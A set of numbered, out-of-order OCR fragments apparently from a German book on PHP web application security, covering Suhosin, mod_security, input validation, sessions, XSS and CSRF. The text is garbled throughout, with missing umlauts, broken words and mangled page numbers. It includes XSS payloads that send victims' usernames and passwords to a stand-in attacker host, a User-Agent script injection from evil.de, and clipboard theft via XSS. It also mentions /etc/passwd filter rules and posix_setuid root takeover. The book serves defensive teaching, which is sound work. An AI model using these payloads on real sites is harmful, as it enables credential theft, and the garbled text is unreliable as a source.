400. ql_query mysql_fetch_rows mysql_num_rows mysql_close Wird eine Funktion aufgerufen die nicht in der Whitelist steht bricht das Skript ab und erstellt einen Log Eintrag nach den Vorgaben die in der Logfile Konfiguration gemacht wurden M chten Sie lieber den herk mmlicheren allerdings prinzipbe dingt nicht sichereren Weg gehen k nnen Sie mit der Direktive 262 11 PHP Hardening suhosin executor func blacklist eine Negativliste definieren in der Sie alle f r die aktuelle PHP Installation unerw nschten Funktionen eintragen Mit dieser Funktion von Suhosin k nnen Sie anders als mit PHPs eigener Direktive disable_ functions f r jeden virtuellen Host eine eigene Blacklist erstellen Sprachkonstrukte k nnen nicht auf die Blacklist gesetzt werden M chten Sie den Backtick Operator deaktivieren f gen Sie die Funktion shell_exec zur Negativliste hinzu M chten Sie das Sprachkonstrukt eval komplett deaktivieren so k nnen Sie dies fol genderma en tun suhosin executor disable_eval On Der Aufruf einer auf der schwarzen Liste stehenden PHP Funktion wird von Suhosin mit einer Mitteilung in der Log Datei und dem Abbruch des betreffenden Skripts quittiert Beispielsweise k nnte eine Funktions Blacklist f r PHP so ausse hen suhosin executor func blacklist mysql_pconnect pentl_fork F r das Sprachkonstrukt eval dem Sie Code als String zur Ausf hrung bergeben k nnen Sie eine separate White und Bla
401. r ndlagen 2n 2 2 ee Ana 45 Werkzeuge zur Parametermanipulation 48 3 2 1 Parametermanipulation mit dem Browser 48 3 2 2 Einen Proxy benutzen 2 2222 sassen 51 Angriffsszenarien und L sungen 2 2222 ceene en 53 3 3 1 Fehlererzeugung 22222cceeseesenn 53 3 3 2 HTTP Response Splitting 222222 55 3 3 3 Remote Command Execution 2 22222 59 3 3 4 Angriffe auf Dateisystemfunktionen 61 3 3 5 Angriffe auf Shell Ebene 2 62 3 3 6 Cookie Poisoning 22222ceeeeeeeeennn 63 3 3 7 Manipulation von Formulardaten 64 3 3 8 Vordefinierte PHP Variablen manipulieren 65 3 3 9 Spam ber Mailformulare 222 22 65 Inhaltsverzeichnis xl 3 4 Variablen richtig pr fen sssssassasnnuseu n 67 3 4 1 Auf Datentyp pr fen sssssnuse suss 68 3 4 2 Datenl nge pr fen snssusunuseuna 69 3 4 3 Inhalte pr fen nssunnnnnnuanu eun 70 3 4 4 Whitelist Pr fungen 2 222cccccc 72 3 4 5 Blacklist Pr fung 2222cceceeeeee 74 3 4 6 Clientseitige Validierung 2 22222200 75 3 5 tegister globals u a dee el 75 3 6 Fazit 2 2 0 2 er rein Kor Dil 79 4 Cross Site Scripting 81 4 1 Grenzenlose Angriffe 2 222 uceeeeeeeeeeneeneen 81 4 2 Was ist Cross Site Scripting 2222220 eeeneenn 82 43 Warum XSS gef hrlich ist 222 22ec ces 83 4 4 Erh hte Gefahr dank Browserkomfort 2 2 8
402. r nt als wenn komplett zuf llige Passw rter gew hlt w r den Damit sind die im Modus pronounceable erstellten Passw rter aus kryptografischer Sicht noch nicht ausreichend sicher wohl aber sch n anzusehen und leicht zu merken Um es dem Angreifer wirklich maximal schwer zu machen sollten Sie Passw rter im Modus unpronounceable erstellen entspricht etwa dem Unix Aufruf pwgen cns Das erreichen Sie mit dem Methodenaufruf pass password gt create 8 unpronounceable Das resultierende Passwort enth lt Zahlen Gro und Kleinbuchsta ben und die Sonderzeichen _ amp g in bunter Mischung und d rfte einem Passwortknacker einige Kopfschmerzen bereiten Einige in diesem Modus erzeugte Passw rter sehen folgenderma en aus 2 Rul CX iJwJ 83 Y7ril2D1 cuwsgZTr QhltyPbQ Maemn30I vwa ylr v amp Mv9 b6 Obgleich diese sehr viel sicherer als die im aussprechbaren Modus generierten Kennw rter sind lassen die hier pr sentierten Beispiele jegliche Merkbarkeit vermissen und die Sonderzeichen k nnten den Eingabekomfort f r den Benutzer merklich mindern Je nach Tastatur 6 2 Authentisierungssicherheit 155 layout kann es auch f r den Anwender unm glich werden ein so gene riertes Passwort einzugeben das bisweilen als Abk rzung f r Cent verwendete ist auf deutschen Tastaturen nicht verf gbar Daher k nnen Sie die Passwortklasse anweisen Passw rter rein numerisch oder alphanu
403. r Erkennung von Angriffen sondern auch f r andere n tzliche Aufgaben eingesetzt werden kann Eine mod_security Regel k nnte zum Beispiel erkennen dass im Query String oder in POST Variablen die Zeichenfolge etc passwd vorkommt und jeden HTTP Request mit dieser Zeichenfolge aufzeichnen und ablehnen Au erdem k nnen anhand bestimmter eingehender Anfragen Aktio nen ausgel st werden So k nnte eine Art Authentifizierung ber einen Header namens X Geheim durchgef hrt werden mod_security findet diesen Header in der Anfrage und f hrt ein Skript aus Mit etwas Fantasie kann der Administrator eine gro e Bandbreite von Auf gaben an mod_security delegieren sollte aber nie dessen eigentliche Bestimmung vergessen Mit Spielereien wie sie auf der Homepage des freien Apache Moduls vorgestellt werden kann ein unbedarfter Web master schnell mehr Sicherheitsl cken ffnen als stopfen Neben dem Regelwerk das zur Erkennung und Bek mpfung von webbasierten Angriffen dient verf gt mod_security ber eine recht gut funktionierende wenn auch etwas unflexible Rootjail Umgebung und URL Rewriting F higkeiten Diese sollten jedoch auch nur im Zusam menhang mit Sicherheitsverst en und nicht etwa als Ersatz f r das in dieser Hinsicht viel umfangreichere mod_rewrite verwendet werden 12 3 2 Gefahren durch mod_security Vor der Installation sollten Sie sich ber die Gefahren im Klaren sein die die Benutzung von mod_security mit sich b
404. r Stelle her verlinkt sind Dies f hrt dazu dass Suchmaschinen die Seiten finden und diese in ihren Index aufnehmen Da phpinfo nicht nur unn tig viele Infor mationen ber das Environment des Servers nach au en gibt sondern in der Vergangenheit auch selbst XSS Schwachstellen hatte ist es sinn voll daf r zu sorgen dass Suchmaschinen falls sie auf eine phpinfo Seite sto en angewiesen werden diese nicht in den Index aufzuneh men Suhosin sorgt daf r automatisch ohne dass nderungen am Applikationscode oder Server vorgenommen werden m ssen indem in die Ausgabe von phpinfo ein Meta Tag mit entsprechenden Robots Regeln eingef gt wird Diese Funktion wurde von den PHP Entwicklern f r die Version 5 2 1 bernommen 11 1 14 Kryptografische Funktionen Die Suhosin Extension bringt einige kryptografische Funktionen mit die man in der Standarddistribution von PHP vermisst So k nnen Benutzer der Extension auf die Funktion sha256 zur ckgreifen die wie die PHP eigene Funktion shal den Hashwert zu einem String berechnet und als String zur ckgibt Der Hashing Algorithmus SHA 1 kann jedoch durch die Forschungsarbeit von Kryptoanalytikern aus aller Welt nicht mehr als ausreichend kollisionssicher gelten da die Suche nach einer Kollision einem identischen Hash zu einem anderen Ausgangsstring bereits mit 2 Rechenoperationen zu einem erfolgrei chen Ergebnis f hren kann Was f r einen einzelnen PC gigantisch wirkt wurd
405. r Verf gung der Body bzw Rumpf einer POST Anfrage z B fehlt komplett jedoch geben die von mod_security gesetzten Umge bungsvariablen einige n tzliche Informationen her Das untenstehende kurze Shell Skript k nnen Sie an einem beliebigen Ort auf dem Server platzieren es sendet bei einem Filtertreffer eine kurze E Mail mit eini gen Daten ber den Angreifer und den ermittelten Angriff an den Ser veradministrator entnommen aus der ServerAdmin Direktive des Apache VirtualHosts bin bash echo Festgestellter Angreifer REMOTE_ADDR REMOTE_HOST Angegriffene URI HTTP_HOST SERVER_PORT REQUEST_URI Aktion HTTP_MOD_SECURITY_ACTION Nachricht von mod_security HTTP_MOD_SECURITY_MESSAGE mail s mod security Angriff abgefangen SERVER_ADMIN 12 3 7 Rootjail Umgebungen mit mod_security Zus tzlich zu seinen Filterm glichkeiten hat der Autor von mod_secu rity noch ein weiteres Feature eingebaut n mlich ein Rootjail Dieses Gef ngnis f r den Webserver ist eine M glichkeit das Wurzelver zeichnis Root f r die Applikation selbstst ndig festzulegen Dazu wird der Systemaufruf chroot verwendet der auf den meisten Unix Mod_security Alarmskript bei Angriffen 294 12 Webserver Filter f r Apache basierten Plattformen verf gbar ist Dadurch wird das Root Verzeich nis vom blichen auf ein neues Verzeichnis umgestellt z B usr local apache Die Idee hinter diesem Prinzip ist dass auch Angr
406. r die Direktiven suhosin cookie encrypt und suhosin ses sion encrypt Schaltet man diese ein dann ist die Verschl sselung akti viert und die erweiterten Konfigurationsoptionen werden beachtet F r Cookies kann der Schutz auf Cookies mit bestimmten Namen beschr nkt werden bzw Cookies mit bestimmten Namen k nnen von der Verschl sselung ausgeschlossen werden Wollen Sie zum Beispiel nur das PHP Session Cookie verschl sseln dann k nnen Sie dies ber die folgende Direktive erreichen suhosin crypt cryptlist PHPSESSID Braucht Ihre Applikation nur Zugriff auf wenige bestimmte Cookies dann schalten Sie die Verschl sselung f r diese Cookies aus suhosin crypt plainlist order mode color Alarm PHP Skript f r Suhosin 268 11 PHP Hardening Die eigentliche Verschl sselung wird ber eine Reihe von Konfigurati onsoptionen gesteuert die festlegen welche Werte in den Schl ssel mit aufgenommen werden sollen Dies kann ein beliebiger benutzerdefi nierter Schl ssel sein suhosin cookie cryptkey das Wurzelverzeichnis des Webservers suhosin cookie cryptdocroot die Browser Identifika tion ber den User Agent Header suhosin cookie cryptua und belie bige Teile der IP Adresse suhosin cookie cryptraddr Die Bestandteile des Session Schl ssels setzen Sie auf die gleiche Weise indem Sie die Zeichenkette cookie innerhalb der Direktiven durch session ersetzen Die Direktiven suhosin cookie cryptraddr und suhosin cookie ch
407. r einer anderen Datenquelle zun chst nur mit XML zu tun haben auf XSS M glichkeiten achten schlie lich wird aus diesem XML sp ter wieder HTML generiert Um im Aggregationsmodul Ihres Blogs XSS zu fil tern wenden Sie einfach die in Abschnitt 4 12 genannten Tipps an aber achten Sie auf Kollisionen der HTML Entities mit dem jeweiligen XML Schema 12 http www planet php net Unbemerkter XSS 112 4 Cross Site Scripting Session Riding Abb 4 2 CSRF Ablauf 4 18 Cross Site Request Forgery CSRF Obgleich der Begriff Cross Site Request Forgery im Gegensatz zum wesentlich bekannteren XSS nur wenigen Entwicklern bekannt sein d rfte ist der unter diesem Namen bekannte Angriffsvektor nicht zu untersch tzen erlaubt er doch zumeist die Ausf hrung potenziell sicherheitsriskanter Aktionen ohne das Wissen des Ausf hrenden CSRF ist im Grunde genommen genau das Gegenteil von XSS w hrend XSS eine Website dazu nutzt Code im Browser des Benutzers auszuf hren werden bei CSRF die im Browser eines Nutzers gespei cherten Informationen z B sein Session Cookie missbraucht um auf einer Site in dessen Namen Aktionen auszuf hren Der in vielen Abhandlungen zum Thema ausschlie lich aufge f hrte Einsatzzweck von CSRF ist das sogenannte Session Riding also das Ausnutzen einer legitimen Session allerdings kann mittels CSRF auch recht effektiv ein Denial of Service Angriff gegen eine dynamische Website ausgef
408. r gr er als die Angabe upload_max_filesize in der php ini Konfigurationsdatei UPLOAD _ERR FORM SIZE Die Datei war gr er als die Angabe im Formularfeld MAX_FILE_SIZE UPLOAD_ERR_PARTIAL Das Hochladen wurde vor Abschluss unter brochen UPLOAD_ERR_NOFILE Es wurde keine Datei hochgeladen Nun wird die Datei in dem Ordner gespeichert der in der Konfigurationsdatei php ini angegeben wurde und zwar unter dem tempor ren Namen der in _FILES filename tmp_name gespei chert ist Nach Beenden wird diese Datei wieder gel scht Das bedeu tet die Datei muss vorher kopiert bzw verschoben werden Dies erledigt die PHP Funktion move_uploaded_file Diese Datei kann auch mit anderen PHP Funktionen kopiert werden aber move_ uploaded_file hat den Vorteil dass hier zus tzlich berpr ft wird ob es sich um das hochgeladene File handelt So ist ein Kopieren von z B etc passwd an einen ber das Internet erreichbaren Ort nicht m glich lt php if isset _FILES filename die Fehler Keine Angabe der Datei if _FILES filename error UPLOAD_ERR_OK die Fehler Probleme beim Hochladen if move_uploaded_file _FILES filename tmp_name Pfad zur Zieldatei die Fehler Datei verschieben nicht m glich gt 8 4 Speicherung der hochgeladenen Dateien Diese hochgeladenen Dateien stellen nat rlich ungepr ften und poten ziell gef hrlichen Content dar Diese Dateien sollten desh
409. r seiner Konfiguration dass er Dateien mit der Endung php an den PHP Interpreter weitergeben muss Dieser f hrt den enthaltenen PHP Code aus und gibt die Ausgabedaten zur ck an den Webserver Der Server generiert ein neues HTTP Paket die Response und schickt diese zur ck an den Client Das Paket kann so aussehen 3 1 Grundlagen al HTTP 1 x 200 OK Date Wed 12 Oct 2005 09 30 30 GMT Server Apache X Powered By PHP 5 0 5 Vary Accept Encoding User Agent Set Cookie PHPSESSID 14ghv8oltt2g0e343kr59tjue4 path Expires Thu 19 Nov 1981 08 52 00 GMT Cache Control no store no cache must revalidate post check 0 pre check 0 Pragma no cache Content Encoding gzip Content Length 7156 Content Type text html charset 1S0 8859 1 lt html gt lt Hier steht der HTML Code gt lt html gt In der ersten Zeile steht der Statuscode des Webservers 200 bedeu tet OK die Seite wurde gefunden Konnte der Webserver die Datei nicht aus dem Dateisystem laden steht dort ein Statuscode 404 f r Seite nicht gefunden Es folgt das Datum der Response Date Angaben ber den Server Server und den PHP Interpreter X Powe red By Mit den Angaben in den darauf folgenden Zeilen kann das Cache Verhalten des Browsers beeinflusst und z B ein erneutes Anfor dern der Seite vom Server anstelle der Nutzung des internen Browser Caches angewiesen werden falls der Benutzer die Seite neu l dt Es fol gen Content A
410. rationseinstellungen Ein Vorfiltern mittels strip_tags wie bei SafeHTML ist nicht notwendig Mithilfe von HTML Purifier k nnen Sie ohne den Aufwand selbst einen HTML Parser schreiben zu m ssen eine Whitelist basierte Fil terl sung f r HTML einsetzen die potenziell gef hrliche Elemente aber auch Attribute erkennt und entfernt Da jedoch einige Elemente stets verboten sind lt embed gt lt head gt lt form gt etc k nnten sich Ein schr nkungen ergeben wenn Sie bzw die Nutzer Ihrer Anwendung komplette HTML Seiten bergeben m ssen etwa im Rahmen eines 8 http htmlpurifier org live configdoc plain html 4 13 Die Zwischenablage per XSS auslesen 103 Content Management Systems Um Cross Site Scripting m ssen Sie sich mit HTML Purifier jedoch keine Sorgen mehr machen HTML Purifier macht HTML Code XSS sicher 4 13 Die Zwischenablage per XSS auslesen Haben Sie Zugang zu einer f r XSS Angriffe verwundbaren Seite so k nnen sogar s mtliche in der Windows Zwischenablage verf gbaren Texte mit einem Schnipsel JavaScript und PHP von Dritten ausgelesen und gespeichert werden Der Angreifer nutzt dabei ein im Microsoft Developer Network beschriebenes Feature des Internet Explorer aus der auch der einzige Browser ist auf dem diese Art von JavaScript Operation funktioniert um den Inhalt des Clipboards auszulesen und per JavaScript an ein kurzes PHP Skript zu bergeben F r die ber gabe eignet sich am
411. rationsoption upload_tmp_dir angegeben wurde Dort wird diese Datei aber nicht unter ihrem regul ren Namen gespeichert son dern erh lt von PHP einen tempor ren zuf lligen Namen PHP gene riert danach ein superglobales Array namens _FILES in dem alle Angaben ber diese Datei enthalten sind Informationen ber eine hochgeladene Datei werden in dem Array _FILES filename gespeichert Der Array Schl ssel filename ist hierbei der Name des Eingabefeldes im Formular Sieht der HTML Code f r dieses Eingabefeld folgenderma en aus lt input type file name uploadfile gt so werden alle Informationen ber die hochgeladene Datei unter _FILES uploadfile abgelegt und zwar ebenfalls in einem assoziati ven Array Dieses Array enth lt folgende Felder name der urspr ngliche Name der Datei type der MIME Type der Datei size die Gr e der Datei in Bytes tmp_name der von PHP vergebene tempor re Name etwa tmp php_epOAA1 error ein Errorcode falls ein Fehler aufgetreten ist sonst ist dieses Feld leer 8 4 Speicherung der hochgeladenen Dateien 189 Alle diese Felder k nnen mit sinnvollen oder weniger sinnvollen Inhal ten belegt sein ausgenommen der tempor re Name der Datei und das Feld error Ersterer wird vom PHP Interpreter vergeben Letzteres kann folgende Return Codes beinhalten UPLOAD_ERR_OK Es hat alles geklappt kein Fehler ist aufgetreten UPLOAD _ERR_INI_SIZE Die Gr e der Datei wa
412. rch die Verwendung weniger Schl sselw rter und einer fest definierten Syntax ist es einfacher zu erlernen und zu handhaben aber unflexibler als mod_security 12 4 2 Installation Wie bei fast jedem anderen Apache Modul ist die Installation von mod_parmguard auf dem Webserver recht einfach und schnell erle digt Da keine Linux Distribution momentan entsprechende Pakete vorh lt und s mtliche anderen Beispiele in diesem Buch auch auf einer Installation aus dem Quellbaum ausgehen ben tigen Sie zun chst das aktuelle Archiv mit dem Quellcode zu mod_parmguard Als Schon seit l ngerm ist Version 1 4 die auf der Projekthomepage erh ltlich ist aktuell Laden Sie das Archiv im tar gz Format von dort in Ihr bliches Quellverzeichnis z B usr local src herunter berpr fen Sie mit dem Kommando md5sum mod_parmguard 1 4 tar gz ob das Quellarchiv dieselbe MDS5 Pr fsumme hat wie auf der Down load Seite des Entwicklers angegeben Ist dies der Fall entpacken Sie das Archiv tar zxf mod_parmguard 1 4 tar gz Da mod_parmguard alle Konfigurationsdateien im XML Format erwartet und ber einen externen Parser interpretiert ben tigen Sie f r das Modul die LibXML2 die jedoch auch f r viele PHP Funktionen 8 http www trickytools com php mod_parmguard php 12 4 mod_parmguard 301 gebraucht wird und somit ohnehin installiert sein sollte Pr fen Sie vorsichtshalber ob das der Fall ist und installieren Sie LibDXML2 gege
413. re Sicher heitsma nahmen implementieren 6 1 Wichtige Begriffe Die Begriffe Authentisierung Authentifizierung und Autorisie rung sorgen bisweilen f r Verwirrung da insbesondere die ersten bei den in der englischen Sprache nicht unterschieden werden der wich tige Begriff der authentication hat hier eine Doppelbedeutung Trotzdem haben Authentisierung und Authentifizierung verschie dene Bedeutungen deren Unterscheidung wichtig ist 6 1 1 Authentisierung Authentisierung ist nichts anderes als der Nachweis der eigenen Identi t t Diesen Nachweis kann man grunds tzlich auf drei Arten erbringen Etwas das man hat vorzeigen in der Computerwelt z B ein pri vater Schl ssel zur asymmetrischen Verschl sselung in der realen Welt etwa eine Kreditkarte ohne PIN Etwas das man wei mitteilen ein Benutzername und das dazu geh rige Passwort k nnen dieses Kriterium erf llen Etwas das man ist vorweisen also ein K rpermerkmal wie Fin gerabdruck oder Iris Muster 146 6 Authentisierung und Authentifizierung Auch eine Kombination dieser Kriterien ist m glich so sind die Authentisierungsmerkmale bei einer Zahlung per EC Karte an der Supermarktkasse eine Kombination aus einem Gegenstand den Sie besitzen die Karte und einer Information die Sie und nur Sie haben n mlich der Geheimnummaer Indem Sie eines der oben beschriebenen drei Merkmale zur Authentisierung vorweis
414. ref url setTimeout getpw 2000 lt script gt Der Timeout in unserem Beispiel 2 Sekunden ist notwendig damit das JavaScript erst dann ausgef hrt wird wenn das meist weiter unten im HTML Dokument gelegene Formular vollst ndig darge stellt ist je nach Gr e des Dokumentes muss unter Umst nden hier noch eine Anpassung stattfinden Wird das Skript URL codiert und an die Zielanwendung angepasst die in diesem Beispiel einen XSS verwundbaren Parameter error hat sieht die resultierende URL etwa so aus http opferanwendung de index php error 3Cscript 3Efunction getp w 28 29 7Bur 3D 27http 3A 2F 2Fboese de 2Fgotpw php 3Fu 3D 27 2B document form username value 2B 27 26p 3D 27 2B document fo rm pw value 29 3B 7D 3Blocation href 3Dur1 3BsetTimeout 28getpw 2C 2000 29 3B 3C 2Fscript 3E Diese URL ist relativ lang und unter Umst nden etwas zu auff llig um sie in einer Mail oder IRC Nachricht unterzubringen daher k nnen Sie auch das komplette JavaScript in eine kurze Datei stecken und nur diese referenzieren http opferanwendung de index php error 3Cscript src 3D 27http 3 A 2F 2F62 4 81 207 2Fpass js 27 3E Im n chsten Schritt kann der Angreifer noch mit der PHP Funktion ip2long die IP Adresse auf die die Nutzerdaten umgeleitet werden sollen maskieren sodass aus 62 4 81 207 die IP Adresse 1040470479 wird Probieren Sie es einmal aus die meisten Browser unterst tzen HTTP Anfragen ber Adre
415. refox Plugin in der Lage ist den User Agent Header zu ndern kann kurze Skripte in eine ver wundbare Anwendung einf gen Oftmals wird der User Agent von Auswertungsprogrammen auf dem Server in seine Bestandteile zerlegt um die Browserfamilien und versionen separat betrachten zu k nnen Um einen XSS Angriff zu os 4 Cross Site Scripting Aufspaltungen vermeiden starten muss der Angreifer sich zun chst dar ber informieren wie diese Aufteilung vonstatten geht Der User Agent f r Firefox 2 0 0 13 lautet in der Standardeinstel lung Mozilla 5 0 Windows U Windows NT 6 0 de rv 1 8 1 13 Gecko 20080311 Firefox 2 0 0 13 Dieser String wird bei jedem HTTP Request mitgeschickt und von PHP in der superglobalen Variablen _SERVER HTTP_USER_AGENT gespeichert Viele Autoren untersuchen diese Variable in ihren Skrip ten nicht auf ungewollte Strings sondern behandeln diese vom Benut zer wenn auch meist automatisch get tigte Eingabe als Servervari able Sie steht ja schlie lich in _SERVER und ist damit sicher lauten die Begr ndungen f r dieses Verhalten aber weit gefehlt Ein User Agent k nnte nat rlich auch lauten M lt script src http evil de x js gt ozilla 5 0 Windows U Windows NT 6 0 de rv 1 8 1 13 Gecko 20080311 Firefox 2 0 0 13 Ein verwundbares Skript das den User Agent unver ndert zur Besu cherauswertung speichert w rde nun neben dem tats chlichen Brow ser in den Statistiken au
416. rgen f r ein sehr schlechtes Signal Rausch Verh ltnis Die Liste Full Disclosure sollte trotzdem Ihre t gliche Pflichtlek t re werden abonnieren k nnen Sie sie einfach mit einer Mail an die Adresse full disclosure request lists grok org uk das Subject sollte subscribe ohne Anf hrungszeichen lauten Alternativ k nnen Sie ber das Webinterface ein Abonnement anfordern Der Sicherheitsexperte Kurt Seifried betreibt eine inoffizielle moderierte Version von Full Disclosure auf der er unerw nschte oder berfl ssige Postings ausfiltert Diese Liste k nnen Sie online bestel len ob Sie die Moderation durch einen Dritten ben tigen sollten Sie jedoch selbst entscheiden Der zentrale Vorteil von Full Disclosure die geringe Latenz zwischen Ver ffentlichung einer Sicherheitsl cke und ihrem Bekanntwerden auf der Liste geht so n mlich weitgehend verloren 1 7 3 BugTraq Im Gegensatz zur ungefilterten Full Disclosure ist BugTraq eine mode rierte Mailingliste Der Moderator David Ahmad berpr ft jedes Pos ting um Flamewars und Trolle also St renfriede nach M glichkeit fernzuhalten Der Traffic auf BugTraq ist daher meist um eine Gr en ordnung geringer als auf FD Andererseits sind die Diskussionen dort bei Weitem nicht so leb haft und aufschlussreich wie in der Nachbarliste meist beschr nken sich Postings auf Advisories aller Art Sicherheitsexperten melden gefundene L cken in Softwareprodukten
417. riablen festzustellen muss man die Variable nach dem Casten mit dem urspr nglichen Wert ver gleichen lt php if string int _GET L id _GET id die Manipulation gt So k nnen Sie feststellen ob die Variablen manipuliert wurden und die entsprechenden Schritte einleiten Programmabbruch oder Fehler meldungen Da GET Variablen immer als String vorliegen muss hier ein Zur ck Casten erfolgen da _GET id vom PHP Interpreter intern ebenfalls in einen int umgewandelt wird und somit dieser Ver gleich immer true ergibt Um auszuschlie en dass nicht weitere Mani pulationen von _GET stattgefunden haben wird hier der Operator zum Vergleich von Inhalt und Typ verwendet PHP bietet Ihnen viele M glichkeiten die Typen Ihrer Variablen zu berpr fen Neben einer Pr fung auf den Inhalt sollte immer eine berpr fung auf den richtigen Typ erfolgen verwenden Sie hierzu den Operator 3 4 2 _Datenl nge pr fen Daten die aus HTML Formularen an eine PHP Applikation berge ben werden k nnen im HTML Code mit einem maxlength Attribut versehen werden Dies sch tzt aber nicht vor b swilligen Manipulatio nen die L ngenbeschr nkung kann auf triviale Weise umgangen wer den berpr fen Sie die HTML Formularfelder in Ihrem PHP Code auf die L ngenangaben die Sie in einem Attribut maxlength m glicher weise angegeben haben PHP stellt uns f r die berpr fung der Variablenl nge die Funk ti
418. rig gt alert XSS Damit sind zumindest die aktiven Komponenten des XSS Angriffs gefiltert es gibt keinen Browser der ohne umschlie ende lt script gt Tags aktiven Code ausf hrt Im zweiten Schritt sollten Sie noch vorhandene Sonderzeichen wie einzelne Klammern lt gt Anf hrungszeichen etc entweder ganz entfer nen wo m glich oder mit der PHP Funktion htmlentities in ihre HTML Entit ten umwandeln So verhindern Sie unter anderem dass Angreifer Ihr HTML durcheinanderbringen indem sie etwa Tags fr h zeitig schlie en und Attribute mit abschneiden Anders als vielleicht vermutet reicht n mlich das automatisch ber PHPs Magic Quoting vorgenommene Escapen von einfachen und doppelten Anf hrungszei chen nicht aus um das b swillige Schlie en von HTML Attributen zu verhindern Auch hier soll ein kurzes Beispiel Klarheit schaffen Stellen Sie sich vor Ihr Eingabeformular f r Kundendaten enth lt eine Fehler berpr fung die dem Nutzer den eingegebenen Wert nochmals zur Best ti gung anzeigt und zwar innerhalb des Eingabefeldes Der HTML PHP Code f r dieses Feld k nnte folgenderma en aussehen lt input type text name vorname value lt php _GET vorname gt gt Was passiert nun wenn der b swillige Nutzer als Vornamen den oben eingef hrten XSS Test String eingibt Das Ergebnis ist klar das HTML Tag lt input gt wird geschlossen und die Eingabe wuchert in einen Bereich in d
419. ringt 1 Da mod_security kein umfangreiches Regelwerk mitbringt ist der Webserver Admin zun chst auf sich selbst gestellt um Regeln aufzustellen und deren Auswirkungen zu testen Dabei kann jede Regel fast un bersehbare Nebeneffekte haben die einen ausf hrli chen Test vor dem Einsatz in Produktionsumgebungen unumg ng lich machen Bei gr eren Systemen zum Beispiel Hosting Ser vern kann es notwendig werden ein dediziertes Testsystem mit Kopien von jeder auf dem Wirksystem installierten PHP Anwen dung aufzusetzen um Regeln testen zu k nnen Regeln die Explo its f r bekannte Applikationen verhindern ohne Probleme mit an deren Anwendungen hervorzurufen werden wir sp ter in diesem Kapitel vorstellen 12 3 mod_security 279 2 Auf Seiten die unter hoher Last stehen kann mod_security wie brigens auch mod_rewrite oder andere Apache Module zudem Performance Einbu en verursachen da bei jedem eingehenden HTTP Request das Modul gestartet wird und alle Regeln abarbei ten muss Regul re Ausdr cke die bei mod_security ausschlie lich f r Regeln benutzt werden sind als Leistungsbremse ver schrien 3 In der Vergangenheit hat es diverse M glichkeiten gegeben das Regelwerk von mod_security zu berlisten und b sartige HTTP Requests in ein so gesch tztes System einzuschleusen Solche Bugs d rfen in einem Security Addon nicht m glich sein und machen das in das Modul gesetzte Vertrauen zunichte Au erdem kann
420. rledigt lt php if strpos _GET page n die Response Splitting if isset _GET L PHPSESSID ft header Location strtr _SERVERL PHP_SELF r n 2 page _GET page else header Location _GET page 7 10 Fazit 185 Nun m ssen noch alle Links in unserer Applikation besonders gene riert werden Alle externen Links m ssen folgenderma en aussehen lt a href exit php page http www php sicherheit de gt Link lt a gt Hier wird nun daf r gesorgt dass bevor auf eine externe Seite ver zweigt wird die Session ID nicht mehr im Referrer erscheint Dies geschieht mithilfe einer Umleitung auf sich selbst Erst wenn keine Ses sion ID mehr in der URL vorhanden ist wird auf die eigentliche externe Seite verzweigt Dieses Beispiel ist freilich stark vereinfacht dargestellt Die ber gabe einer kompletten URL k nnte z B von Spammern genutzt wer den um Links zu deren per E Mail beworbenen Seiten ber Ihre Seite laden zu lassen rger ist damit vorprogrammiert Sie k nnen jedoch bei der Generierung Ihrer Seiteninhalte f r jede externe URL eine ein deutige ID bergeben und diese in einer Datenbank speichern So k n nen nur URLs die in Ihrer Whitelist stehen von Ihrer Anwendung aus aufgerufen werden und Sie haben zus tzlich die M glichkeit anhand der URL Datenbank unerw nschte Links zu entfernen 7 10 Fazit Das Session System von PHP kann mit einfachen Mittel
421. rmanent auf einen bestimmten Benutzer gesetzt werden kann schlie lich muss ein Child dank Keepalive unter Umst nden eine beliebige Anzahl von Requests bearbeiten wird sie stets nur tempor r f r die Bearbeitungsdauer der Anfrage umgestellt Damit sind einem Angreifer T r und Tor ge ffnet sofern er ber das Apache Child z B mittels eines dort gerade ausgef hrten PHP Skripts die Kontrolle bernehmen kann Dann kann er n mlich ein fach die Funktion posix_setuid 0 aufrufen und sich ber seine neu gewonnenen Root Rechte freuen Ein Rootkit ist somit nicht mehr notwendig alleine mit PHP Funktionen und mod_suid ist es einem Angreifer m glich den Server zu kapern Aus dieser schockierenden Tatsache kann man zwei Dinge folgern Lasse nie einen Webserver als Root laufen Finger weg von mod_suid Um mod_suid nutzen zu k nnen muss ein effektiver Mechanismus zur Unterbindung von setuid Aufrufen aus Skripten heraus exis tieren Sofern Sie PHP als einzige Skriptsprache verwenden und Ihre Kunden oder Projekte nicht auf Perl oder Python zur ckgreifen k nnen ist die ser Mechanismus realisierbar ben tigen Sie andere Skriptsprachen wird es schwierig Nicht jede Skriptsprache verf gt ber eine Konfigu rationsm glichkeit wie PHPs disable_functions und ein Angreifer 10 10 Externe Ans tze 239 k nnte ber ein verwundbares PHP Skript durchaus auch Perl Python oder hnliche Sprachen ber die Kommandozeile auf
422. rmutet gibt die Funktion FALSE bzw NULL zur ck Konzipieren Sie eine PHP5 Anwendung neu sollten Sie die Benut zung von ext filter zum geregelten Import von Variablen aus dem Userland in Erw gung ziehen da Sie so im g nstigsten Falle keiner lei potenziell unsichere Daten mehr in Ihren Skripten vorfinden 9 12 Callback Funktionen Finden Sie f r Ihre Anwendung nicht den passenden Filter im Liefer umfang von ext filter m chten aber eine konsistente API nutzen um etwa mithilfe von filter_input zu Skriptbeginn alle notwendigen Variablen bereinigt in den Scope Ihres Skriptes zu holen so k nnen Sie mit der Filterkonstanten FILTER _CALLBACK eine von Ihnen definierte Funktion nutzen Wenn Sie zum Beispiel pr fen m chten ob eine Variable eine in Deutschland g ltige und momentan vergebene Postleitzahl darstellt werden Sie um einen Zugriff auf eine aktuelle PLZ Datenbank kaum herumkommen ebenso bei Bankleitzahlen M chten Sie diese Pr fung mit einem Filter erledigen k nnte dies folgenderma en aussehen function pruefe_plz kandidat Postleitzahlen in Array laden Datenbank o plzarray array 12345 30449 33378 33449 if in_array kandidat plzarray return kandidat else return FALSE filter_input INPUT_GET plz FILTER_CALLBACK array options gt pruefe_plz Wie Sie sehen erh lt der Funktionsaufruf von filter_var bzw filter_input als Option den Funktionsnamen der Ca
